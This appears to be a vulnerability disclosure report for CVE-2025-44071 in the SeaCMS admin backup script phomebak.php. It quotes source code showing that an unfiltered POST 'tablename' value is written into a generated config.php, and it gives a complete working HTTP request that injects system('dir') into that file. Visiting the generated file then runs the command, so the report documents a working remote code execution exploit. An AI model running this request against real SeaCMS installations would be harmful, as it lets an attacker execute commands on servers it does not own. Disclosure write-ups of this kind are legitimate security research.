CVE-2025-44071

Analysis Report:

filename: \SeaCMS\Upload\admin\ebak\phomebak.php

```
440  function Ebak_DoEbak($add){
492      {
493          $insertf='replace';
494      }
495      if($phome_db_ver=='4.0'&&$add['dbchar']=='auto')
496      {
497          $add['dbchar']='';
498      }
499      $string="<?php
500      \$b_table=\"".$b_table."\";
501      ".$d_table."
502      \$b_baktype=".$add['baktype'].";
503      \$b_filesize=".$add['filesize'].";
504      \$b_bakline=".$add['bakline'].";
505      \$b_autoauf=".$add['autoauf'].";
506      \$b_dbname=\"".$dbname."\";
507      \$b_stru=".$bakstru.";
508      \$b_strufour=".$bakstrufour.";
509      \$b_dbchar=\"".addslashes($add['dbchar'])."\";
510      \$b_beover=".$beover.";
511      \$b_insertf=\"".addslashes($insertf)."\";
512      \$b_autofield=\",".addslashes($add['autofield']).",\";
513      \$b_bakdatatype=".$bakdatatype.";
514       ?>";
515      $cfile=$bakpath."/".$add['mypath']."/config.php";
516      WriteFiletext_n($cfile,$string);
517      if($add['baktype'])
```

In the Ebak_DoEbak() function, the passed parameters are written into a config.php file, and the variable value $b_table written comes from the tablename parameter in post. It is directly written into config.php without any filtering or validation.

```php
//写文件
10个用法
function WriteFiletext_n($filepath,$string){
    global $filechmod;
    $fp=@fopen($filepath, mode: "w");
    @fputs($fp,$string);
    @fclose($fp);
    if(empty($filechmod))
    {
        @chmod($filepath, permissions: 0777);
    }
}
```

Construct a request to write malicious code into a PHP file. Once accessed, it will be parsed.

Verification

Sends a request to create a config.php file under the specified directory (test) and writes malicious code to config.php.

请求

美化 Raw Hex Query params Body params 链接

```
POST /8mrumn/ebak/phomebak.php HTTP/1.1
Host: 192.168.255.156:8888
Content-Length: 235
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.255.156:8888
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:129.0) Gecko/20100101 Firefox/129.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer:
http://192.168.255.156:8888/8mrumn/ebak/ChangeTable.php?mydbname=seacms&keyboard=sea&act=b
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5v93294nu5ruqkd20h6dlsjrh4
Connection: keep-alive

phome=DoEbak&mydbname=seacms&baktype=0&filesize=1024&bakline=1000&autoauf=1&bakstru=1&dbchar=utf8&bakdatatype=1&mypath=test&insertf=replace&waitbaktime=0&readme=&tablename%5B%5D=system('dir')&Submit=%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD
```

响应

美化 Raw Hex 页面渲染 链接

```
HTTP/1.1 200 OK
Date: Sun, 29 Dec 2024 09:08:40 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 165

初始化备份成功，正在进入表备份. . . . . <script>
    self.location.href=
    'phomebak.php?phome=BakExe&t=0&s=0&p=0&mypath=test&waitbaktime=0';
</script>
```

The generated congfig.php file is accessed and the system commands are successfully executed.